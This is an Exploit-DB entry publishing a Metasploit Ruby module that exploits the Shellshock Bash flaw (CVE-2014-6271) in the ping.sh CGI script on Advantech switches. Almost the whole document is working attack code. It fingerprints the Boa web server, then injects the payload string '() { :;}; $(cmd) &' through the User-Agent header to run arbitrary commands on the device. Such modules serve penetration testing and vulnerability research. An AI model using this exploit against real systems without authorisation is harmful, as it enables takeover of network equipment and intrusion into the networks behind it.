Advantech Switch - 'Shellshock' Bash Environment Variable Command Injection (Metasploit)

EDB-ID:

38849


Platform:

CGI

Published:

2015-12-02

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Advantech Switch Bash Environment Variable Code Injection (Shellshock)',
      'Description' => %q{
        This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
        handles external environment variables. This module targets the 'ping.sh' CGI
        script, acessible through the Boa web server on Advantech switches. This module
        was tested against firmware version 1322_D1.98.
      },
      'Author' => 'hdm',
      'References' => [
        ['CVE', '2014-6271'],
        ['CWE', '94'],
        ['OSVDB', '112004'],
        ['EDB', '34765'],
        ['URL', 'https://community.rapid7.com/community/infosec/blog/2015/12/01/r7-2015-25-advantech-eki-multiple-known-vulnerabilities'],
        ['URL', 'https://access.redhat.com/articles/1200223'],
        ['URL', 'http://seclists.org/oss-sec/2014/q3/649']
      ],
      'Privileged' => false,
      'Arch' => ARCH_CMD,
      'Platform' => 'unix',
      'Payload' =>
        {
          'Space' => 1024,
          'BadChars' => "\x00\x0A\x0D",
          'DisableNops' => true,
          'Compat' =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'openssl generic'
            }
        },
      'Targets' =>  [[ 'Automatic Targeting', { 'auto' => true } ]],
      'DefaultTarget' => 0,
      'License' => MSF_LICENSE,
      'DisclosureDate' => 'Dec 01 2015'
    ))
    register_options([
      Opt::RPORT(80)
    ], self.class)
  end

  #
  # CVE-2014-6271
  #
  def cve_2014_6271(cmd)
    %{() { :;}; $(#{cmd}) & }
  end

  #
  # Check credentials
  #
  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/cgi-bin/ping.sh'
    )
    if !res
      vprint_error("#{peer} - No response from host")
      return Exploit::CheckCode::Unknown
    elsif res.headers['Server'] =~ /Boa\/(.*)/
      vprint_status("#{peer} - Found Boa version #{$1}")
    else
      print_status("#{peer} - Target is not a Boa web server")
      return Exploit::CheckCode::Safe
    end

    if res.body.to_s.index('127.0.0.1 ping statistics')
      return  Exploit::CheckCode::Detected
    else
      vprint_error("#{peer} - Target does not appear to be an Advantech switch")
      return Expoit::CheckCode::Safe
    end
  end

  #
  # Exploit
  #
  def exploit
    cmd = cve_2014_6271(payload.encoded)
    vprint_status("#{peer} - Trying to run command '#{cmd}'")
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/cgi-bin/ping.sh',
      'agent'  => cmd
    )
  end

end